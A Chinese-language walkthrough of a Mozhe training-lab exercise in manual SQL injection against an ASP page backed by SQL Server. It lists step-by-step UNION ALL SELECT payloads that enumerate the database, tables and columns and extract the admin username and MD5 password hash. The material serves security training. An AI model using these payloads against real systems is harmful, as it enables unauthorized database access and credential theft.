墨者 - SQL手工注入漏洞测试(Sql Server数据库)

/new_list.asp?id=2 and 1=2  ,返回页面没报错

墨者 - SQL手工注入漏洞测试(Sql Server数据库)_第1张图片

 

 /new_list.asp?id=2 order by 1 ,测试有多少个字段,知道order by 4还有页面回显

墨者 - SQL手工注入漏洞测试(Sql Server数据库)_第2张图片

 

这里有个坑,一开始走正常的流程测回显位置 /new_list.asp?id=2 and 1=2  union  select 1,2,3,4  ,

用 union select 连接,页面报错

墨者 - SQL手工注入漏洞测试(Sql Server数据库)_第3张图片

后来上网搜索才发觉,用union all select 可以成功,所以/new_list.asp?id=2 and 1=2  union all  select 1,2,3,4  ,

一样报错

墨者 - SQL手工注入漏洞测试(Sql Server数据库)_第4张图片

后来卡了很久才发发现select  1,2,'3',4。这里的3是字符串类型。因为UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。一开始的3是数字类型,数据库的是字符串类型所以一直失败。

改为:/new_list.asp?id=2 and 1=2  union all  select 1,2,'3',4,测到回显位置了

爆库

/new_list.asp?id=2 and 1=2  union all select 1,db_name(),'3',4,名为mozhe_db_v2

爆表

/new_list.asp?id=2 and 1=2  union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

墨者 - SQL手工注入漏洞测试(Sql Server数据库)_第5张图片

这里的mmsql和mysql语法有点不同,mmsql记录敏感信息的表在sysobjects 中。

具体参数可以去这个链接了解:

https://www.cnblogs.com/atree/p/SQL-Server-sysobjects.html。

https://blog.csdn.net/jackmacro/article/details/6405871

当xtype='U' 代表是用户建立的表。

 

爆字段

/new_list.asp?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4

这里解释一下col_name(),与object()

object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的

col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

/new_list.asp?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4  得username

/new_list.asp?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4 得password

说明mange表总共有3列,分别为:id、username、password

 

爆字段内容

/new_list.asp?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4

墨者 - SQL手工注入漏洞测试(Sql Server数据库)_第6张图片

MD5在线解密即可得出答案

 

你可能感兴趣的:(墨者刷题笔记)